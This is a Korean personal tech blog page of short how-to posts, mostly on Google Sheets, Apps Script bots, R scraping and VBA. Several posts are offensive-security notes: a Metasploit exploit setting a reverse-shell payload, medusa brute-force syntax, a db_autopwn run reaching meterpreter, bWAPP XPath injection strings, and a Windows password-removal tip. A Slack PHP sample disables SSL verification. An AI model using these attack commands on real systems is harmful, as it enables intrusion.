메뉴 건너뛰기

imp

[GS] ArrayFormula 함수 활용하기

lispro062017.04.07 08:38조회 수 2259댓글 0

    • 글자 크기

ArrayFormula 는 영역의 내용을 그대로 참조할 수 있다.


importrange 함수는 다른 파일(스프레드시트)의 영역을 참조하는데, limit 가 걸려있고, 느리므로 별로 안 좋아한다.


ArrayFormula 를 이용해 다른 view 를 구성하는 것이 필요한 경우 사용 가능하다.


A, B, C 컬럼 중 A, C 만 연속해서 활용해야할 때 좋다.


더더욱 좋은 것은 문자열의 가공이 가능하다는 것이다.


=ArrayFormula(if('sheet'!V3:X="",,left('sheet'!V3:X,19)))


V3 행부터 X 행 전체 내용을 가져오는데, 비어있지 않다면(내용이 있다면) LEFT 함수를 거쳐 출력하는 것이다.


원래 내용은 20자인데, 별로 안 예쁘게 출력될 때, 새로운 view를 구성하면서 문자열을 자르고 출력시킬 수 있다.



또다른 활용으로는 index 와 row 를 이용한 순서 바꾸기(reverse) 이다.


=INDEX(ArrayFormula('sheet'!B$2:B),COUNTA(ArrayFormula('sheet'!$B$2:$B))-ROW()+2,1)


해당 예제는 2행 부터 시작되는 경우이고, arrayformula를 사용하는 시트도 2행부터 시작하여 내용을 맞췄다.


C 컬럼의 경우 그대로 복사하면, 옆의 행을 참조하도록 상대 주소가 반영된다.


3행의 경우도 전체 참조내용에서 row 함수에 의해 index 가 반전되므로 역정렬된 데이터를 볼 수 있다.


구글 form의 고질적인 문제(아래로 쌓이면 내용 확인을 위해 스크롤)가 있어 찾아봤다.

lispro06 (비회원)
    • 글자 크기

댓글 달기

터보코드

[원문보기]
bdclose all;
set_param(0, 'CharacterEncoding', 'windows-1252');

simulink를 저장하기 전에 위와 같이 encoding을 변경해준다. 폴더나 파일명이 한글이면 안된다.

[구글핏] fitnees API 를 이용한 구글 스프레드시트로 데이터 가져오기

[원문보기]

https://ithoughthecamewithyou.com/post/export-google-fit-daily-steps-to-a-google-sheet

 

위 사이트를 참고해 진행한다.

 

1) 일단 코드를 다운로드 하고, API 콘솔을 이용해 https://console.cloud.google.com/apis 새로운 프로젝트를 만든다.(기존 프로젝트 이용 가능)

2) API 및 서비스 사용 설정에서 fitnees API 를 활성화 시킨다.

3) 사용자 인증정보에서 사용자 인증 정보 만들기를 선택한다.

4) OAuth 클라이언트 ID를 선택하고 애플리케이션 유형을 웹 애플리케이션으로 한다.

5) 이름을 "GF" 등으로 설정하고 승인된 리디렉션 URI 에 https://script.google.com/macros/d/{SCRIPTID}/usercallback 를 입력한다.

 

6) {SCRIPTID} 를 입력하기 위해 구글 드라이브에서 스프레드시트를 만들고, 스크립트 편집기를 열어 1)의 코드를 저장한 뒤, URL으 확인한다.

7) URL에 나온 스크립트 경로가 {SCRIPTID} 이다.

8) OAuth 클라이언트 ID 만들기를 선택하면 6)에서 저장한 코드에 Client ID, Client Secret을 입력할 수 있는 클라이언트 ID, 클라이언트 보안 비밀은 얻을 수 있다.

9) 저장이 끝나면 시트를 새로고침하여 OnOpen 함수가 자동 동작하도록 하여 Google Fit 메뉴를 확인한다.

10) Authorize...... 를 시작으로 시트이름을 "Metrics"{History}으로 수정하여 구글 피트니스에 저장된 데이터를 가져올 수 있다.

 

코드를 보면 사용하는 시트이름이 다음과 같다. 두 개의 시트를 생성하여 AppendRow null 오류를 방지한다.

 

function getMetrics() {

  getMetricsForDays(1, 1, 'Metrics');

}

 

function getHistory() {

  getMetricsForDays(1, 60, 'History');

}

 

fitnees.png

 

cd.png

 

 

[WCAG] 플래시 대체 텍스트

[원문보기]
<script type="text/javascript">
function flash(swfWidth,swfHeight,swf_src){
        var flash_tag = "";
        flash_tag = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" ';
        flash_tag +='codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" ';
        flash_tag +='width="'+swfWidth+'" height="'+swfHeight+'" >';
        flash_tag +='<param name="wmode" value="transparent">';
        flash_tag +='<param name="movie" value="'+swf_src+'">';
        flash_tag +='<param name="scale" value="exactfit">';
        flash_tag +='<param name="quality" value="high">';
        flash_tag +='<embed src="'+swf_src+'" quality="high" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" ';
        flash_tag +='type="application/x-shockwave-flash"  width="'+swfWidth+'" height="'+swfHeight+'"></embed></object>'
        document.write(flash_tag);
}

   <!--
    flash(150,120,"http://www.bloodinfo.net/images/v2/swf/main/blood_campaign/bood.swf");
   -->
   </script>
   <noscript>
    <strong>[헌혈 공익광고] 당신의 얼굴은 잠깐 찡그려 지지만, 누군가의 얼굴은 평생 활짝 피어납니다.</strong>
   </noscript>

플래시를 함수로 만들고, 실행한다. noscript라면, 대체 텍스트가 출력되도록 noscript 태그를 사용한다.

[창업일지] 통신판매업 폐업신고

[원문보기]
계양구청 지역경제과에서 계속 전화해서, 몸소 갔다왔다. 제길슨... 폐업신고서를 역시 작성해서 원본과 함께 민원여권과 4번 창구에 제출함.T.T;;;

[PPT] 파워포인트 전체 페이지 넣는 VBA 스크립트

[원문보기]
반드시 해야할 것.
마스터 보기에서 삽입->머리글/바닥글
바닥글의 체크박스를 체크하고, 모두적용을 클릭함.
아래 그림과 같이, "바닥글"영역이 존재해야 error가 나지 않음.(for문의 시작을 2로 했기 때문에 첫 슬라이드는 바닥글이 존재하지 않아도 됨)^^V



1. Alt+F11(Visual Basic Editor)
2. 삽입 -> 모듈
3. 모듈창에 아래와 같이 입력
4. 실행(F5)하면 바닥글 위치에 표시됩니다.

Sub dhUserPage()
    Dim i As Integer, j As Integer
   
    With ActivePresentation
        If .Slides.Count > 1 Then
            For i = 2 To .Slides.Count
                .Slides(i).HeadersFooters.Footer.Text = i & "/" & .Slides.Count
            Next i
        End If
    End With
End Sub

[XML] Dublin Core(DC)

[원문보기]
개념
 1995년 OCLC(Online Computer Library Center)와 NCSA(National Centre for Supercomputer Application)가 더블린(Dublin)에서 개최한 워크숍에서 합의된 메타 데이타
 데이타의 호환성을 유지
 네트웍크 자원의 기술에 필요한 일련의 데이타 요소를 규정
 자원의 신속한 검색 지원
목적
 데이타의 형식/구조 단순화
 원문의 저자나 발행자
 메타 데이타를 직접 작성
 네트웍크 출판을 위한 저작도구의 개발자
 메타 데이타에 대한 템플릿을 직접 소프트웨어에 포함할 수 있도록 
 작성된 데이타를 기초로 특정 분야에서 요구되는 상세한 수준으로 확장 사용  

 Dublin Core 15개 데이터 요소  
 콘텐츠 기술(내용) 요소지적속성요소 물리적 기술(구현)요소 
 Title(표제)
Subject(주제)
Description(설명)
Source(출전)
Language(언어)
Relation(관련자료)
Coverage(내용범위)
Creator(제작자)
Publisher(발행처)
Contributor(기타제작자)
Right(이용조건)
 Date(발행일자)
Type(자료유형)
Format(형식)
Identifier(식별자)

[Tip] Windows NT/2000/XP/2003/Vista 비밀번호 분실 해제

[원문보기]
비밀번호를 잊었다면.


아래의 과정을 시작한다.




버전에 따라서 Password & Registry Tools 번호가 다를 수 있다.



9.9를 이용하길 추천한다.



아래 화면에서 1이나 2를 통해 OS를 찾는다.



얼마간의 시간이 지나면
 
아래와 같이 발견된 sam 파일을 표시한다.


원하는 계정을 선택하고


Y를 누르면 완료된다.


Esc로 빠져나간 후 재부팅 하면 password가 해제된 것을 확인할 수 있다.

[TF] 파이썬과 케라스를 이용한 딥러닝/강화학습 주식투자

[원문보기]

도서 [파이썬과 케라스를 이용한 딥러닝/강화학습 주식투자] 에 나온 예제를 실행해 봤다.

 

현재기준으로 아나콘다 3을 설치하면 python 3.8.x 가 설치되며, python path를 설정해야 제대로 실행 가능하다.

 

기존 2.7, 3.5 가 설치된 환경이라 여러 버전이 섞여서 다양한(?) 에러를 발생시켰다.

 

시스템 환경변수에 아래를 등록한다.

PYTHONPATH

c:\programdata\anaconda3;c:\programdata\anaconda3\Lib;c:\programdata\anaconda3\DLLs;c:\programdata\anaconda3\libs;c:\programdata\anaconda3\Scripts;c:\programdata\anaconda3\bin

 

알수 없는 오류 (set_session, get_default_graph())에 대해 대략 아래와 같이 수정하여 아웃풋을 얻었다.

 

[networks.py]

23 from tensorflow.keras.backend import set_session -> from tensorflow.keras.backend import clear_session

25 graph = tf.get_default_graph() -> graph = tf.compat.v1.get_default_graph()

 

시간이 지나면 각종 로그와 그림에 대해 이해하게 되겠지.

 

epoch_summary_003.png

 

 

[backtrack] msrpc 135 파일 및 프린터 공유 취약점

[원문보기]
1.jpg

위의 두개가 체크 되어 있으면, 

msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show payloads
msf exploit(ms03_026_dcom) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms03_026_dcom) > set LHOST [MY IP ADDRESS]
msf exploit(ms03_026_dcom) > set RHOST [TARGET IP]
msf exploit(ms03_026_dcom) > exploit


위와 같은 공격으로 쉘이 침투 당하게 된다.

[backtrack] 무작위 공격 툴 medusa 사용법

[원문보기]
# medusa -M [PS] -h [IP] -u [ID] -p [PW]

[PS] : ssh, mysql, telnet ......
[IP] : ip address
[ID] : target id
[PW] password

여기서 -H, -U, -P로 하면, [] 에 파일 경로를 입력하여 대입할 수 있다.

시간이 오래걸리고, 부하가 예상되니, 주의해서 사용할 것.

dictionary 파일과 패스워드파일은 좋은게 없으니, 알아서 잘 구하길......

[backtrack] autopwn 을 이용한 자동 공격

[원문보기]

backtrack 4를 설치하거나, image를 받아서 실행시킨다.


backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,


# /etc/init.d/networking start


자동으로 실행시키려면, .bash_profile에 등록 한다.


# vi /root/.bash_profile


/etc/init.d/networking start



이젠 autopwn을 사용할 차례다.


# msfconsole

msf > db_status


[*] postgresql selected, no connection


라고 나온다.

그러면, 사용할 수 있는 db를 알아보기 위해


msf > db_driver


[*]    Active Driver: postgresql

[*]        Available: postgresql, mysql, sqlite3



mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.


msf > db_driver sqlite3

[*] Using database driver sqlite3

msf > db_create client

[-]

[-] Warning: The db_create command is deprecated, use db_connect instead.

[-]          The database and schema will be created automatically by

[-]          db_connect. If db_connect fails to create the database, create

[-]          it manually with your DBMS's administration tools.

[-]

[*] The specified database already exists, connecting

[*] Successfully connected to the database

[*] File: client

msf > db_status

[*] sqlite3 connected to client



위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.


msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx


Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT

Nmap scan report for xxx.xxx.xxx.xxx

Host is up (0.015s latency).

Not shown: 990 closed ports

PORT     STATE    SERVICE      VERSION

22/tcp   open     ssh          OpenSSH 4.3 (protocol 2.0)

80/tcp   open     http         Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)

111/tcp  open     rpcbind      2 (rpc #100000)

135/tcp  filtered msrpc

139/tcp  filtered netbios-ssn

445/tcp  filtered microsoft-ds

1723/tcp filtered pptp

2869/tcp filtered icslap

3306/tcp open     mysql        MySQL (unauthorized)

4444/tcp filtered krb524

Device type: general purpose

Running: Apple Mac OS X 10.5.X

OS details: Apple Mac OS X 10.5.5 (Leopard)


OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds

msf > db_autopwn -p -e -t

[*] Analysis completed in 9 seconds (0 vulns / 0 refs)

[*]

[*] ================================================================================

[*]                             Matching Exploit Modules

[*] ================================================================================

[*]   xxx.xxx.xxx.xxx:111  exploit/netware/sunrpc/pkernel_callit  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/unix/webapp/oscommerce_filemanager  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/lotus/domino_http_accept_language  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/iis/ms02_018_htr  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/unix/webapp/base_qry_common  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/http/trendmicro_officescan  (port match)




음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.



http://www.youtube.com/watch?v=VXmE0QycUd8


나머지는 동영상을 참조 한다.

성공하면 아래와 같이 콘솔로 접근할 수 있다.


sessions -l

session -i 1

meterpreter > execute  -f cmd.exe -H -i 

c:WINDOWSsystem32>

[Vision API] 구글 드라이브 이미지 파일 리사이징 후 Vision API 사용

[원문보기]

라이브러리 : 1B7FSrk5Zi6L1rSxxTDgDEUsPzlukDsi4KGuTMorsTQHhGBzBkMun4iDF 로 추가(OAuth2)

고급 구글 서비스 : Drive API

행아웃 채트 API 활성화

 

CLOUD VISION API 는 이미지를 식별해 주는데, 구글 드라이브에 업로드 된 파일은 경로 참조로 가져오기가 되지 않는다.

 

 base64로 변환 후 사용 가능하다.

 

function test(){//vision api 테스트

  var fileurl="구글 드라이브 이미지 파일 경로";

  var data1 = JSON.parse(makeRequest(fileurl)); 

  //data.responses[0].webDetection.bestGuessLabels[0].label, data.responses[0].webDetection.webEntities[0].description 을 추출하여 사용

  Logger.log(data1.responses[0].webDetection);

}

function buildJSONRequestImgBase64(val) {//base64 인코딩 및 json 메시지 생성

  var file = DriveApp.getFileById(val); 

  var data1 = Utilities.base64Encode(file.getBlob().getBytes());

  return JSON.stringify({

    requests: [{

      image: {

        content:data1

      },

      features: [{

        type: "WEB_DETECTION",

        maxResults: 1

      }]

    }]

  });

}

var APIKey = 'Your key';

function makeRequest(b64) {// Make a POST request to Vision API with a JSON payload.      

  var visionApiUrl = 'https://vision.googleapis.com/v1/images:annotate?key=' + APIKey;

  var JSON_REQ = buildJSONRequestImgBase64(b64);

  var options = {

    'method': 'post',

    'contentType': 'application/json',

    'payload': JSON_REQ

  };

  var response = UrlFetchApp.fetch(visionApiUrl, options);

  return response.getContentText();

}

 

 

//행아웃 채팅으로 봇이 받은 이미지를 리사이징하여 저장한다.

function uploadAttachmentToDrive(attachment, folderId, fileName){//행아웃 채팅으로 받은 이미지 파일 처리 구글 드라이브로 업로드 및 썸네일 생성

  var resourceName = attachment[0].attachmentDataRef.resourceName;

  var blob     = "";

  var url      = "https://chat.googleapis.com/v1/media/" + resourceName + "?alt=media"

  var service  = getOAuth2Service(); 

 

 var response = UrlFetchApp.fetch(url, {

    headers: {

      'Authorization': 'Bearer ' + service.getAccessToken(),

    },

    'muteHttpExceptions': true,

  });

 

  if (response.getResponseCode() != 200) {

    return url;

  }

 

  blob = response.getBlob();

  

  var folder = DriveApp.getFolderById(folderId);

  var uploadFile = folder.createFile(blob);

 

  uploadFile.setName(fileName);

  

  var width = 800;

  

  var link = Drive.Files.get(uploadFile.getId()).thumbnailLink.replace(/\=s.+/, "=s" + width);

 

  var blob2 = UrlFetchApp.fetch(link).getBlob().setName(fileName+"_t");

  var file = folder.createFile(blob2);

  

  return file.getId();

}

function onMessage(event) {

  if(event.message.attachment != null){

    var fileurl = uploadAttachmentToDrive(event.message.attachment,"폴더명",Utilities.formatDate(dt, "GMT+9", "YYYY.MM.dd HH:mm:ss"));

}

function getOAuth2Service() {

  var serviceAccountPriveKey = '-----BEGIN PRIVATE KEY----------END PRIVATE KEY-----\n';

  var serviceAccountClientEmail = '~gserviceaccount.com'; 

  var scope = 'https://www.googleapis.com/auth/chat.bot';

  var service = OAuth2.createService('Vote bot')

      .setTokenUrl('https://accounts.google.com/o/oauth2/token')

      .setPrivateKey(serviceAccountPriveKey)

      .setClientId(serviceAccountClientEmail)

      .setScope(scope);

 

  if (!service.hasAccess()) {

    console.log('Authentication error: %s', service.getLastError());

    return;

  }

 

  return service;

}

[R] 구글 플레이스토어 리뷰 수집

[원문보기]

json 등으로 제공되지 않기 때문에, html 을 직접 크롤링해야 하는데, 더보기 버튼 등이 있고, 유용성 순서로 정렬이 기본이므로 제약이 많다.

 

https://blog.naver.com/PostView.nhn?blogId=nife0719&logNo=221329685115&parentCategoryNo=&categoryNo=30&viewDate=&isShowPopularPosts=false&from=postView

 

에서 제공되는 소스를 조금 고쳐서 전체를 다 수집하지 않고, 최근 것 일부만 수집하도록 한다.

 

리뷰가 너무 많을 경우 30분이 넘어가는 일이 발생하므로 다음과 같이 수정하였다.

 

다음을 실행하기 위해서는, r을 다운로드하여 설치하고 https://cran.r-project.org/bin/windows/base/

 

콘솔에서 관련 라이브러리를 설치한다. 아래 코드는 적당한 이름으로 저장하여 불러오기 후 전체 실행하면 된다.

(예제 앱은 스마트 헌혈 임)

 

install.packages("rvest")

install.packages("httr")

install.packages("stringr")

install.packages("RSelenium")

 

 

[다음]

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

 

ch=wdman::chrome(port=4444L) #크롬드라이버를 포트

remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4444L, browserName = "chrome")

remDr$open() #크롬 Open

remDr$navigate("https://play.google.com/store/apps/details?id=net.bloodinfo.smartapp&showAllReviews=true") #설정 URL로 이동

 

webElem <- remDr$findElement("css", "body")

webElem$sendKeysToElement(list(key = "end"))

 

# webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc') #버튼 element 찾기

# remDr$mouseMoveToLocation(webElement = webElemButton) #해당 버튼으로 포인터 이동

 

flag <- TRUE

endCnt <- 0

 

while (flag) {

  Sys.sleep(10)

  webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

 

  if(length(webElemButton)==1){

    endCnt <- 0

    webElem$sendKeysToElement(list(key = "home"))

    webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #해당 버튼으로 포인터 이동

    remDr$click()

    webElem$sendKeysToElement(list(key = "end"))

    flag <- FALSE #추가한 부분

  }else{

    if(endCnt>3){

      flag <- FALSE

    }else{

      endCnt <- endCnt + 1

    }

  }

}

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)

 

write.csv(reviewData, paste0("net.bloodinfo.smartapp(",nrow(reviewData),").csv"))

 

remDr$close()

 

[bWAPP] XML/XPath Injection (Login Form)

[원문보기]

A1 - Injection

XML/XPath Injection (Login Form)



로그인 ID, PW 에 ' or '1'='1 을 넣으면 된다.


A1-XPATH-LOG.PNG


selene, Thor, johnny, wolverine, alice

wolverine' or 'a'='a--

[R] 구글 플레이스토어 리뷰 별점까지 수집

[원문보기]

도커에 타임존을 변경해서 실행한다.

 

sudo docker run -v /etc/localtime:/etc/localtime:ro -p 4445:4444 selenium/standalone-chrome &

sudo docker ps -a

sudo docker exec -it 911cca8e9f44 /bin/bash

seluser@911cca8e9f44:/$ date

Fri Apr 19 11:31:47 KST 2019

 

Rscript로 실행할 때는 library를 주석처리하고

Rscript --default-packages=methods,utils,httr,stringr,rvest,RSelenium 파일명.r

으로 실행한다.

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

 

remDr <- remoteDriver(port = 4445L, browserName = "chrome")

remDr$open() #크롬 Open

 

remDr$navigate("https://play.google.com/store/apps/details?id={패키지명}&showAllReviews=true&hl=ko") #설정 URL로 이동

 

webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div/div/div[1]/div[1]/div[3]/content")

 

remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장

 

remDr$click()

 

Sys.sleep(1)

 

webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div/div/div[2]/div[1]")

 

remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택

 

remDr$click()

 

Sys.sleep(10)

 

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

 

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기

 

reviewStars <- read_html(frontPage[[1]]) %>% html_nodes('.nt2C1d') %>% html_nodes('.pf5lIe') %>% html_children() %>% html_attr("aria-label") #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기

 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments, stars=reviewStars)

 

 

write.csv(reviewData, "sh.csv")

 

 

remDr$close()

stars.png

 

 

 

 

https://stat4701.github.io/edav/2015/04/02/rvest_tutorial/

 

[slack] bot 을 이용한 메시지 보내기

[원문보기]

browse Apps -> Custom Integrations -> Bots 에서


bot을 추가하여 이름 정도만 설정하면 access-token을 받을 수 있다.


xoxb 로 시작하는 token을 넣은 뒤 아래와 같은 php 소스로 메시지 전송이 가능하다.


<?php

$cont="#".$_GET["channel"];

echo slack($_GET["cont"],$cont);

function slack($message, $channel)

{

    $ch = curl_init("https://slack.com/api/chat.postMessage");

    $data = http_build_query([

        "token" => "xoxb-~~~",

        "channel" => $channel, //"#general",

        "text" => $message, //"Hello, Foo-Bar channel message.",

        "username" => "MySlackBot",

    ]);

    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');

    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);

    curl_close($ch);

    return $result;

}

?>

[awesome table] CSS 적용하기

[원문보기]

구글 awesome table 기본 css 는 처음에 깔끔하긴 하지만, 역시 동일하게 적용하면 기술적으로 복사해서만 구현한 것 같다.


이를테면, XE 기본 템플릿, 전자정부프레임워크의 기본 스타일로 적용된 페이지는 노력이 덜 들어간 느낌이다.


구글도 이를 인지했는지, 어렵지만, CSS 를 적용하는 방법을 지원한다.


개인적으로 사용한 것은 필터 부분의 버튼 색을 흰색으로 바꾸고 크기를 줄인 것이다.


기본 테이블 헤더의 정렬과, 내용(td) 부분 정렬 방식을 지정하여, 조금 더 출력이 일괄 가운데 정렬보다는 심혈을 기울인 듯한 모습을 보인다.


* awesome table gadget 의 4번째 탭(Advenced Parameter)의 templates range 에서 영역을 설정하고, 1행은 <style> 이라고 하면 된다.(해당 내용은 여기서 다루지 않음)


.awt-vis-controls-csvFilter .awt-csvFilter-button {background:#ffffff;}

.google-visualization-table-table th {text-align:center;}

.google-visualization-table-table td {padding-left:12pt;text-align:justify;max-width:150px;}

.awt-vis-controls-csvFilter .awt-csvFilter-dropdown-menu {min-width:100px;}

.awt-vis-controls-csvFilter .awt-csvFilter {min-width:100px;}


추가적으로 전체 헤더 색을 지정하는 부분이다. 원래는 회색인데, 푸른색 계열로 적용하면 hover 색이랑 약간 비슷하긴 하지만, 통일감도 있고, 흑백 느낌을 줄여준다.

.google-visualization-table-table .gradient,

.google-visualization-table-div-page .gradient {

        background: #82b6f7 !important;

}

[PHP] int bufferoverflow

[원문보기]

php bufferoverflow example 로 찾으면 검색되는 코드에서 이해를 위한 코드를 덧붙였다.


PHP_INT_MAX 값은 int 9223372036854775807 이고, 해당 값을 초과하면 9.2233720368548E+18 가 출력된다.


// 초기 값은 최대값에서 6을 뺀 값으로 설정하고, 최대 int 까지 배열 값을 지정했다.

$initval=9223372036854775801;

$arr[9223372036854775801]=1;

$arr[9223372036854775802]=2;

$arr[9223372036854775803]=3;

$arr[9223372036854775804]=4;

$arr[9223372036854775805]=5;

$arr[9223372036854775806]=6;

$arr[9223372036854775807]=7;

$chkval=$_GET["input"];
//입력 값을 chkval 이라는 변수에 할당하고

echo "<br />";
if($initval <= PHP_INT_MAX-$chkval){
echo "sum : ". $max = $initval + $chkval;
}else{
echo "overflow! ". $max = $initval + $chkval;
}
// 최대값을 넘지 않으면 input과 초기값의 합을 출력한다.
// 최대값을 넘으면 overflow 된 값을 출력한다.

echo "<br />";
echo "saved val : ";
echo "<br />";
// 배열값을 잘 참조하는지 참조하지 못한 값이 들어가면 오류가 발생하는 예를 보여주기 위해 각 배열 값을 출력했다.
for($i=0;$i<$chkval;$i++){
echo $initval+$i ." : ". $arr[$initval+$i];
echo "<br />";
}

[not overflow] input is 7
if input > 7 then overflow

sum : 9223372036854775807
saved val :
9223372036854775801 : 1
9223372036854775802 : 2
9223372036854775803 : 3
9223372036854775804 : 4
9223372036854775805 : 5
9223372036854775806 : 6
9223372036854775807 : 7

[overflow] input is 8

overflow! 9.2233720368548E+18
saved val :
9223372036854775801 : 1
9223372036854775802 : 2
9223372036854775803 : 3
9223372036854775804 : 4
9223372036854775805 : 5
9223372036854775806 : 6
9223372036854775807 : 7
9.2233720368548E+18 :

[pull챗봇] 행아웃 X Google Spreadsheet with Apps script

[원문보기]
구글의 예제코드는 공개되어 있으며, 단순 응답으로 되어 있다.
 
구글 앱스 스크립트(GS)를 주로 스프레드 열람 등에 썼기 때문에, 특정 시트 값을 가져오는 것은 너무나 익숙하다.
 
 /**
 * Responds to a MESSAGE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onMessage(event) {
  var name = "";
  if (event.space.type == "DM") {
    name = "You2";
  } else {
    name = event.user.displayName;
  }
  var ss = SpreadsheetApp.openById("시트ID");
  var s1 = ss.getSheetByName("시트2");
  var r1 = s1.getRange(2, 1, 3, 4);
  var v1 = r1.getValues();
  var message = name + " said "" + event.message.text + """;
  message = message + v1.join(" ");
  return { "text": message };
}
/**
 * Responds to an ADDED_TO_SPACE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onAddToSpace(event) {
  var message = "";
  if (event.space.type == "DM") {
    message = "Thank you for adding me to a DM, " + event.user.displayName + "!";
  } else {
    message = "Thank you for adding me to " + event.space.displayName;
  }
  return { "text": message };
}
/**
 * Responds to a REMOVED_FROM_SPACE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onRemoveFromSpace(event) {
  console.info("Bot removed from ", event.space.name);
}
 
다른 점은 배포 방식인데, 매니페스트에서 배포를 선택해야 한다.
 
re.jpg

 

 
배포된 ID를 구글 클라우드 콘솔에서 Hangouts Chat API 구성에 추가한다.
 
id.jpg

 

[구글 클라우드 콘솔 Hangouts Chat API 구성]
cons.jpg

 

 
해당 작업이 완료되면 채팅방에서 봇에게 말을 걸도록 추가해 줘야 한다.
 
기존 행아웃이 아닌 chat.google.com 으로 진행해야 하며, 모바일 앱 역시 행아웃 채팅이란 앱을 설치해야 한다.
 
좌측 상단의 사용자, 채팅방, 봇 찾기를 누르고 설정한 이름이 정상적으로 보이면 성공한 것이다.
 
스프레드시트 열람 권한을 얻는 것까지 절차를 거치면, 봇에게 스프레드시트의 내용을 보여주도록 할 수 있다.
 
1.jpg

 

 
hc.jpg

 

  
이전 1 ... 3 4 5 6 7 8 9다음
첨부 (5)
re.jpg
48.1KB / Download 51
id.jpg
45.1KB / Download 47
cons.jpg
103.2KB / Download 51
1.jpg
32.1KB / Download 49
hc.jpg
60.1KB / Download 46
위로